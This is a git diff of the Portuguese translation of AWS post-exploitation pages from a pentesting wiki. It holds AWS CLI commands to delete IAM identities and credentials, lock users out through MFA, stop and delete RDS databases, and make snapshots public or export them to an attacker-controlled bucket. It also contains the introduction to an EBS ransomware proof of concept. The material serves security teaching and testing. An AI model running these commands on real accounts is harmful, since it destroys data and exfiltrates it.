Este é o script em python usado. Ele usa AWS creds de uma conta 'victim' e um valor ARN público da AWS para a key que será usada na encriptação. O script fará cópias encriptadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, depois parará cada instância EC2, desanexará os volumes EBS originais, os deletará e, finalmente, deletará todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS encriptados na conta 'victim' alvo. USE SOMENTE ESTE SCRIPT EM UM AMBIENTE DE TESTE; É DESTRUTIVO E DELETARÁ TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a KMS key utilizada e restaurá-los ao estado original via snapshots, mas só quero deixar claro que, no fim das contas, isto é um PoC de ransomware.
|
||||
Este é o script python usado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN público da AWS para a key a ser usada na criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então irá parar cada instância EC2, desanexar os volumes EBS originais, deletá-los e, finalmente, deletar todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E IRÁ DELETAR TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao estado original via snapshots, mas apenas quero deixar claro que isto é um ransomware PoC, no fim das contas.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +583,6 @@ main()
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – Como transferir arquivos na AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,21 +4,21 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information about IAM access:
|
||||
Para mais informações sobre o acesso IAM:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Problema do Confused Deputy
|
||||
## Confused Deputy Problem
|
||||
|
||||
Se você **permitir que uma conta externa (A)** acesse uma **role** na sua conta, provavelmente terá **0 visibilidade** sobre **quem exatamente pode acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) puder acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
|
||||
Se você **permitir que uma conta externa (A)** acesse uma **role** na sua conta, provavelmente terá **0 visibilidade** sobre **quem exatamente pode acessar essa conta externa**. Isto é um problema, porque se outra conta externa (B) puder acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
|
||||
|
||||
Portanto, ao permitir que uma conta externa acesse uma role na sua conta, é possível especificar um `ExternalId`. Essa é uma string "secreta" que a conta externa (A) **precisa especificar** para **assume the role in your organization**. Como a **conta externa B não conhecerá essa string**, mesmo que ela tenha acesso à A ela **não conseguirá acessar sua role**.
|
||||
Portanto, ao permitir que uma conta externa acesse uma role na sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir a role na sua organização**. Como a **conta externa B não conhecerá essa string**, mesmo que ela tenha acesso à A, **não poderá acessar sua role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
No entanto, note que esse `ExternalId` "segredo" é **não é um segredo**, qualquer pessoa que puder **ler a IAM assume role policy poderá vê-lo**. Mas desde que a conta externa A o conheça, e a conta externa **B não o conheça**, isso **impede que B abuse de A para acessar sua role**.
|
||||
No entanto, note que esse "segredo" `ExternalId` **não é um segredo**; qualquer um que consiga **ler a IAM assume role policy** poderá vê-lo. Mas enquanto a conta externa A souber dele, e a conta externa **B não souber**, isso **impede que B abuse de A para acessar sua role**.
|
||||
|
||||
Exemplo:
|
||||
```json
|
||||
@@ -39,7 +39,7 @@ Exemplo:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Para um atacante explorar um confused deputy, ele precisará descobrir de alguma forma se os principals da conta atual podem impersonar roles em outras contas.
|
||||
> Para que um attacker explore um confused deputy, ele precisará descobrir, de alguma forma, se os principals da conta atual podem impersonate roles em outras accounts.
|
||||
|
||||
### Confianças inesperadas
|
||||
|
||||
@@ -51,7 +51,7 @@ Exemplo:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Esta política **permite que a AWS inteira** assuma a função.
|
||||
Esta política **permite que toda a AWS** assuma a função.
|
||||
|
||||
#### Serviço como principal
|
||||
```json
|
||||
@@ -62,7 +62,7 @@ Esta política **permite que a AWS inteira** assuma a função.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Esta política **permite que qualquer conta** configure seu apigateway para chamar esta Lambda.
|
||||
Esta política **permite que qualquer conta** configure sua apigateway para chamar esta Lambda.
|
||||
|
||||
#### S3 como principal
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Esta política **permite que qualquer conta** configure seu apigateway para cham
|
||||
}
|
||||
}
|
||||
```
|
||||
Se um bucket S3 for especificado como principal, como buckets S3 não possuem um Account ID, se você **excluiu seu bucket e o atacante o criou** na conta deles, então eles poderiam abusar disso.
|
||||
Se um bucket S3 for dado como principal, porque buckets S3 não têm um Account ID, se você **excluiu seu bucket e o atacante o criou** na própria conta dele, então ele poderia abusar disso.
|
||||
|
||||
#### Não suportado
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Se um bucket S3 for especificado como principal, como buckets S3 não possuem um
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Uma maneira comum de evitar problemas do Confused Deputy é usar uma condição com `AWS:SourceArn` para verificar o ARN de origem. Contudo, **alguns serviços podem não suportar isso** (como CloudTrail, segundo algumas fontes).
|
||||
Uma forma comum de evitar problemas de Confused Deputy é usar uma condição com `AWS:SourceArn` para verificar o ARN de origem. No entanto, **alguns serviços podem não suportar isso** (como CloudTrail segundo algumas fontes).
|
||||
|
||||
### Exclusão de Credenciais
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — um ator pode remover chaves de acesso, perfis de login, chaves SSH, credenciais específicas de serviço, perfis de instância, certificados ou CloudFront public keys, ou desassociar roles de perfis de instância. Tais ações podem imediatamente bloquear usuários e aplicações legítimas e causar denial-of-service ou perda de acesso para sistemas que dependem dessas credenciais, portanto essas permissões IAM devem ser estritamente restritas e monitoradas.
|
||||
### Exclusão de credenciais
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — um ator pode remover chaves de acesso, perfis de login, chaves SSH, credenciais específicas de serviço, perfis de instância, certificados ou chaves públicas do CloudFront, ou desassociar roles de perfis de instância. Tais ações podem bloquear imediatamente usuários e aplicações legítimas e causar negação de serviço ou perda de acesso para sistemas que dependem dessas credenciais, portanto essas permissões IAM devem ser rigidamente restritas e monitoradas.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Exclusão de Identidade
|
||||
Com permissões como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, um ator pode excluir usuários, funções ou grupos — ou alterar a associação a grupos — removendo identidades e vestígios associados. Isso pode imediatamente interromper o acesso de pessoas e serviços que dependem dessas identidades, causando negação de serviço ou perda de acesso, portanto essas ações do IAM devem ser rigidamente restritas e monitoradas.
|
||||
Com permissões como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, um agente pode excluir usuários, funções ou grupos — ou alterar a filiação a grupos — removendo identidades e rastros associados. Isso pode interromper imediatamente o acesso de pessoas e serviços que dependem dessas identidades, causando denial-of-service ou perda de acesso, portanto essas ações do IAM devem ser rigidamente restritas e monitoradas.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -115,7 +115,7 @@ aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — um ator pode excluir ou desanexar políticas gerenciadas ou inline, remover versões de políticas ou limites de permissão, e desvincular políticas de usuários, grupos ou funções. Isso destrói autorizações e pode alterar o modelo de permissões, causando perda imediata de acesso ou negação de serviço para entidades que dependiam dessas políticas; portanto, essas ações do IAM devem ser estritamente restritas e monitoradas.
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — um ator pode excluir ou desanexar políticas gerenciadas/inline, remover versões de políticas ou limites de permissões, e desvincular políticas de usuários, grupos ou funções. Isso destrói autorizações e pode alterar o modelo de permissões, causando perda imediata de acesso ou negação de serviço para entidades que dependiam dessas políticas, portanto essas ações do IAM devem ser estritamente restritas e monitoradas.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -128,7 +128,7 @@ aws iam delete-role-policy \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Exclusão de Identidade Federada
|
||||
Com `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, um ator pode excluir provedores de identidade OIDC/SAML ou remover client IDs. Isso rompe a autenticação federada, impedindo a validação de tokens e negando imediatamente o acesso a usuários e serviços que dependem de SSO até que o IdP ou as configurações sejam restaurados.
|
||||
Com `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, um ator pode excluir provedores de identidade OIDC/SAML ou remover client IDs. Isso interrompe a autenticação federada, impedindo a validação de tokens e negando imediatamente o acesso a usuários e serviços que dependem de SSO até que o IdP ou as configurações sejam restaurados.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -139,7 +139,7 @@ aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Ativação ilegítima de MFA
|
||||
Com iam:EnableMFADevice, um ator pode registrar um dispositivo MFA na identidade de um usuário, impedindo o usuário legítimo de efetuar login. Uma vez que um MFA não autorizado é ativado, o usuário pode ficar bloqueado até que o dispositivo seja removido ou redefinido (observação: se múltiplos dispositivos MFA estiverem registrados, o login exige apenas um, então esse ataque não terá efeito para negar o acesso).
|
||||
Com `iam:EnableMFADevice`, um agente pode registrar um dispositivo MFA na identidade do usuário, impedindo que o usuário legítimo efetue login. Uma vez que um MFA não autorizado seja habilitado, o usuário pode ficar bloqueado até que o dispositivo seja removido ou redefinido (nota: se vários dispositivos MFA estiverem registrados, o login exige apenas um, portanto este ataque não terá efeito para negar acesso).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Violação de Metadados de Certificado/Chave
|
||||
Com `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, um ator pode alterar o status ou os metadados de chaves públicas e certificados. Ao marcar chaves/certificados como inativos ou alterar referências, ele pode quebrar a autenticação SSH, invalidar validações X.509/TLS e interromper imediatamente serviços que dependem dessas credenciais, causando perda de acesso ou disponibilidade.
|
||||
### Manipulação de Metadados de Certificado/Chave
|
||||
Com `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, um atacante pode alterar o status ou os metadados de chaves públicas e certificados. Ao marcar chaves/certificados como inativos ou alterar referências, ele pode quebrar a autenticação SSH, invalidar validações X.509/TLS e interromper imediatamente serviços que dependem dessas credenciais, causando perda de acesso ou disponibilidade.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -161,7 +161,7 @@ aws iam update-server-certificate \
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
O curinga do IAM iam:Delete* concede a capacidade de remover muitos tipos de recursos do IAM—usuários, funções, grupos, políticas, chaves, certificados, dispositivos MFA, versões de políticas, etc.—e, portanto, tem um raio de danos muito grande: um agente com iam:Delete* pode destruir permanentemente identidades, credenciais, políticas e artefatos relacionados, remover auditoria/evidências e causar indisponibilidade de serviços ou falhas operacionais. Alguns exemplos são
|
||||
O curinga IAM iam:Delete* concede a capacidade de remover muitos tipos de recursos IAM — usuários, funções, grupos, políticas, chaves, certificados, dispositivos MFA, versões de políticas, etc. — e, portanto, tem um raio de impacto muito alto: um ator com iam:Delete* pode destruir permanentemente identidades, credenciais, políticas e artefatos relacionados, remover auditoria/evidência e causar interrupções de serviço ou operacionais. Alguns exemplos são
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
@@ -174,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
Um ator com a ação iam:EnableMFADevice pode registrar um dispositivo MFA em uma identidade na conta, desde que o usuário não tenha já um habilitado. Isso pode ser usado para interferir no acesso de um usuário: uma vez que um atacante registra um dispositivo MFA, o usuário legítimo pode ser impedido de fazer login porque não controla o MFA registrado pelo atacante.
|
||||
Um ator com a permissão iam:EnableMFADevice pode registrar um MFA device em uma identidade na conta, desde que o usuário não tivesse já um habilitado. Isso pode ser usado para interferir no acesso de um usuário: uma vez que um attacker registre um MFA device, o usuário legítimo pode ser impedido de fazer login porque não controla o MFA registrado pelo attacker.
|
||||
|
||||
Esse ataque de negação de acesso só funciona se o usuário não tinha nenhum MFA registrado; se o atacante registrar um dispositivo MFA para esse usuário, o usuário legítimo será bloqueado de qualquer fluxo que exija esse novo MFA. Se o usuário já possui um ou mais dispositivos MFA sob seu controle, adicionar um MFA controlado pelo atacante não impede o usuário legítimo — ele pode continuar a autenticar usando qualquer MFA que já possua.
|
||||
Esse ataque de negação de acesso só funciona se o usuário não tivesse nenhum MFA registrado; se o attacker registrar um MFA device para esse usuário, o usuário legítimo ficará bloqueado em qualquer fluxo que exija esse novo MFA. Se o usuário já tiver um ou mais MFA devices sob seu controle, adicionar um MFA controlado pelo attacker não bloqueia o usuário legítimo — ele pode continuar a autenticar-se usando qualquer MFA que já possua.
|
||||
|
||||
Para habilitar (registrar) um dispositivo MFA para um usuário, um atacante poderia executar:
|
||||
Para habilitar (registrar) um MFA device para um usuário, um attacker poderia executar:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
|
||||
@@ -4,35 +4,35 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Para mais informações, confira:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfiltrar credenciais do Lambda
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda usa variáveis de ambiente para injetar credenciais em tempo de execução. Se você conseguir acessá-las (lendo `/proc/self/environ` ou usando a própria função vulnerável), pode usá-las você mesmo. Elas ficam nos nomes de variáveis padrão `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, e `AWS_ACCESS_KEY_ID`.
|
||||
Lambda usa variáveis de ambiente para injetar credenciais em tempo de execução. Se você conseguir acessá-las (lendo `/proc/self/environ` ou usando a própria função vulnerável), pode usá-las você mesmo. Elas vivem nos nomes de variável padrão `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, e `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Por padrão, essas credenciais terão acesso para escrever em um cloudwatch log group (cujo nome é armazenado em `AWS_LAMBDA_LOG_GROUP_NAME`), além de criar log groups arbitrários; contudo, funções Lambda frequentemente têm mais permissões atribuídas com base no seu uso previsto.
|
||||
Por padrão, essas terão acesso para gravar em um cloudwatch log group (o nome do qual está armazenado em `AWS_LAMBDA_LOG_GROUP_NAME`), assim como para criar log groups arbitrários; entretanto, funções lambda frequentemente têm mais permissões atribuídas com base em seu uso pretendido.
|
||||
|
||||
### `lambda:Delete*`
|
||||
Um atacante com lambda:Delete* pode deletar funções Lambda, versões/aliases, layers, event source mappings e outras configurações associadas.
|
||||
Um atacante concedido lambda:Delete* pode deletar funções Lambda, versions/aliases, layers, event source mappings e outras configurações associadas.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Steal Others Lambda URL Requests
|
||||
### Roubar requisições de URL de outras funções Lambda
|
||||
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
Se um atacante conseguir RCE dentro de uma função Lambda, ele poderá roubar as requisições HTTP de outros usuários para essa Lambda. Se as requisições contiverem informações sensíveis (cookies, credenciais...), ele poderá exfiltrá-las.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### Roubar requisições de URL de outras funções Lambda & requisições de extensions
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Abusando de Lambda Layers, também é possível abusar de extensions e persistir na função Lambda, além de roubar e modificar requisições.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -40,7 +40,7 @@ Abusing Lambda Layers it's also possible to abuse extensions and persist in the
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
Forçar uma função Lambda a sair de uma VPC restrita atualizando sua configuração com um VpcConfig vazio (SubnetIds=[], SecurityGroupIds=[]). A função então será executada no plano de rede gerenciado pelo Lambda, recuperando o acesso à internet de saída e contornando controles de egress aplicados por sub-redes VPC privadas sem NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
Abuse `lambda:PutRuntimeManagementConfig` para fixar uma função a uma versão específica de runtime (Manual) ou congelar atualizações (FunctionUpdate). Isso preserva compatibilidade com layers/wrappers maliciosos e pode manter a função em um runtime desatualizado e vulnerável para facilitar exploração e persistência de longo prazo.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` controles avançados de logging para redirecionar os logs de uma função para um log group do CloudWatch Logs escolhido pelo atacante. Isso funciona sem alterar o código ou a role de execução (a maioria das roles Lambda já inclui `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Se a função imprimir segredos/corpos de requisição ou falhar com stack traces, você pode coletá-los do novo log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
Transforme uma Function URL privada da Lambda em um endpoint público não autenticado trocando o Function URL AuthType para NONE e anexando uma policy baseada em recurso que concede lambda:InvokeFunctionUrl a todos. Isso permite invocação anônima de funções internas e pode expor operações sensíveis de backend.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
Abuse `UpdateEventSourceMapping` para alterar a função Lambda alvo de um Event Source Mapping (ESM) existente, de modo que registros de DynamoDB Streams, Kinesis ou SQS sejam entregues a uma função controlada pelo atacante. Isso desvia silenciosamente dados em tempo real sem tocar nos produtores ou no código da função original.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` para anexar um EFS Access Point existente a uma função Lambda, então implante código trivial que lista/leia arquivos do caminho montado para exfiltrar segredos/configs compartilhados que a função antes não conseguia acessar.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se o atacante tiver permissões suficientes, ele pode tornar um **DB acessível publicamente** criando um snapshot do DB e, em seguida, um DB acessível publicamente a partir do snapshot.
|
||||
Se o atacante tiver permissões suficientes, ele pode tornar um **DB publicamente acessível** criando um snapshot do DB e, em seguida, criando um DB publicamente acessível a partir do snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,21 +39,21 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Um atacante com rds:StopDBCluster ou rds:StopDBInstance pode forçar a parada imediata de uma RDS instance ou de um cluster inteiro, causando indisponibilidade do banco de dados, conexões interrompidas e a interrupção de processos que dependem do banco.
|
||||
Um atacante com rds:StopDBCluster ou rds:StopDBInstance pode forçar a parada imediata de uma instância RDS ou de um cluster inteiro, causando indisponibilidade do banco de dados, conexões interrompidas e interrupção de processos que dependem do banco de dados.
|
||||
|
||||
Para parar uma única DB instance (exemplo):
|
||||
Para parar uma única instância de DB (exemplo):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Para parar um DB cluster inteiro (exemplo):
|
||||
Para parar um cluster inteiro de DB (exemplo):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Um atacante com rds:Delete* pode remover RDS resources, apagando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatos relacionados, causando interrupção imediata do serviço, perda de dados, destruição de pontos de recuperação e perda de evidências forenses.
|
||||
Um atacante a quem foi concedida rds:Delete* pode remover recursos RDS, excluindo DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatos relacionados, causando interrupção imediata do serviço, perda de dados, destruição de pontos de recuperação e perda de evidências forenses.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +76,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Então, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot.
|
||||
Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Depois, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot.
|
||||
|
||||
Se o atacante **não tiver o `rds:CreateDBSnapshot`**, ele ainda poderia tornar **outros** snapshots criados **públicos**.
|
||||
Se o atacante **não tiver o `rds:CreateDBSnapshot`**, ele ainda pode tornar **outros** snapshots criados **públicos**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,7 +89,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderia potencialmente usar essas informações para escalar seus privilégios ou executar ações não autorizadas.
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente nos logs, o atacante poderia potencialmente usar essa informação para escalar privilégios ou executar ações não autorizadas.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
@@ -109,25 +109,25 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante com essa permissão pode **exportar um instantâneo de instância RDS para um bucket S3**. Se o atacante controlar o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis contidos no instantâneo exportado.
|
||||
Um atacante com essa permissão pode **exportar um snapshot de instância RDS para um bucket S3**. Se o atacante tiver controle sobre o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis contidos no snapshot exportado.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impacto potencial**: Acesso a dados sensíveis no snapshot exportado.
|
||||
**Potential impact**: Acesso a dados sensíveis no snapshot exportado.
|
||||
|
||||
### Replicação Cross-Region de Automated Backups para Restauração Furtiva (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Replicação de Automated Backups entre Regiões para Restauração Furtiva (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abuse a replicação cross-Region de automated backups para duplicar silenciosamente os automated backups de uma RDS instance em outra AWS Region e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha master para acessar os dados out-of-band em uma Region que os defensores podem não monitorar.
|
||||
Abuse a replicação cross-Region de automated backups para duplicar discretamente os automated backups de uma instância RDS em outra Região da AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha master para acessar os dados fora de banda em uma Região que os defensores podem não monitorar.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
